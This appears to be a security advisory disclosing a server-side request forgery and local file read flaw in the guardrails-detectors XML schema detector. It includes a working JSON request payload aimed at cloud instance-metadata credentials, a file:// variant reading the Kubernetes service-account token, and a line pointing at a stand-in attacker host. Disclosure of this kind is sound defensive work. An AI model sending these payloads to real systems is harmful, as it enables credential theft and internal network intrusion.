The file_type content detector in guardrails-detectors accepts an arbitrary XML Schema Definition (XSD) string supplied directly in the request body and passes it unmodified to xmlschema.XMLSchema(), which by default resolves <xs:import>, <xs:include>, and <xs:redefine> schemaLocation references over any URL scheme (including http(s):// and file://).

Affected code: detectors/built_in/file_type_detectors.py, function is_valid_xml_schema():

    xs = xmlschema.XMLSchema(schema)

schema is taken directly from the request's detector_params.file_type value for the "xml-with-schema:<XSD>" detector type, with no sanitization or scheme restriction. The xmlschema library is pinned to 4.1.0 in detectors/pyproject.toml; that version only restricts external references when the caller explicitly passes allow='sandbox' or allow='local', which this code does not do.

An attacker with network access to the detector service can send a request such as:

{"contents": ["<a/>"],
 "detector_params": {"file_type": [
   "xml-with-schema:<xs:schema xmlns:xs='http://www.w3.org/2001/XMLSchema'><xs:include schemaLocation='http://169.254.169.254/latest/meta-data/iam/security-credentials/'/></xs:schema>"
 ]}}

which causes the detector pod to make a blind, server-side HTTP request to the supplied URL before validation completes. This can be pointed at cloud provider instance-metadata endpoints (credential theft), the in-cluster Kubernetes API server, internal services such as MinIO, or any other endpoint reachable from the pod's network namespace. Using a file:// scheme (e.g. schemaLocation='file:///var/run/secrets/kubernetes.io/serviceaccount/token') causes the library to attempt to read that local file instead. A bare string such as "xml-with-schema:http://attacker.example/x.xsd" (with no xs:include wrapper at all) is sufficient by itself, since xmlschema.XMLSchema() treats a string that looks like a URL as a schema location to fetch.

The parsing/construction step is wrapped in a generic except Exception, so the HTTP response or file contents are not returned to the caller (exploitation is blind/error-based), but the outbound request or local file open is still made server-side regardless of whether the exception is later raised.

Verified directly against the current upstream source (trustyai-explainability/guardrails-detectors, main branch, commit 747a4d3 at the time of this analysis) that the vulnerable code and the xmlschema==4.1.0 pin are both still present and unchanged.

Reported via Red Hat Product Security's internal "Project Glasswing" (Mythos) security audit of RHOAI components. Original audit reference: rhoai-3.4 @ 29f7a14d008e667d6f216ba5921e95daf6c9a269 (RHOAIENG-71919).